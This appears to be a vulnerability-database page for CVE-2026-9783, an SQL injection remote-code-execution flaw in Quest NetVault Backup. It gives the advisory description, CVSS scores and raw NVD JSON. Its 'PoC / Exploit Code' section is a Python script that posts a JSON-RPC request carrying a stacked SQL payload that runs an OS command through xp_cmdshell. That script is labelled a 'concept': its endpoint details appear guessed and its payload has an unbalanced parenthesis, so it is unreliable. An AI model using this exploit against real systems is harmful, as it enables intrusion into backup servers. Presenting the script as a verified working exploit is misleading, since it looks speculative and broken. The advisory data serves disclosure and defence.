Security Vulnerability Report
中文
CVE-2026-9783 CVSS 8.8 HIGH

CVE-2026-9783

Published: 2026-06-25 00:17:49
Last Modified: 2026-06-25 14:23:56

Description

Quest NetVault Backup NVBURemovableMedia SQL Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Quest NetVault Backup. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the processing of NVBURemovableMedia JSON-RPC messages. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of NETWORK SERVICE. Was ZDI-CAN-27632.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Quest NetVault Backup < 14.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9783 - Quest NetVault Backup NVBURemovableMedia SQL Injection RCE # ZDI-CAN-27632 / ZDI-26-372 # Exploit concept: Send crafted JSON-RPC message to NVBURemovableMedia endpoint # with SQL injection payload in user-supplied string parameters. import requests import json TARGET_URL = "https://target-host:8443/services/NVBURemovableMedia" # Authentication bypass or valid low-privilege credentials AUTH_TOKEN = "BYPASSED_OR_LOW_PRIV_TOKEN" # SQL injection payload targeting the removable media parameter # The injected SQL is designed to escalate to RCE via database command execution sql_payload = ( "' UNION SELECT 1,2,3; " "EXEC xp_cmdshell('whoami > C:\\Windows\\Temp\\pwned.txt'; --" ) json_rpc_payload = { "jsonrpc": "2.0", "method": "NVBURemovableMedia.processRequest", "params": { "mediaLabel": sql_payload, "operation": "queryMedia" }, "id": 1 } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {AUTH_TOKEN}" } response = requests.post( TARGET_URL, headers=headers, data=json.dumps(json_rpc_payload), verify=False ) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9783", "sourceIdentifier": "[email protected]", "published": "2026-06-25T00:17:48.520", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quest NetVault Backup NVBURemovableMedia SQL Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Quest NetVault Backup. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the processing of NVBURemovableMedia JSON-RPC messages. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of NETWORK SERVICE. Was ZDI-CAN-27632."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Quest", "product": "NetVault Backup", "defaultStatus": "unknown", "versions": [{"version": "14.0.0.19", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:48:45.830176Z", "id": "CVE-2026-9783", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://support.quest.com/technical-documents/netvault/14.0.2/release-notes#TOPIC-2338529", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-372/", "source": "[email protected]"}]}}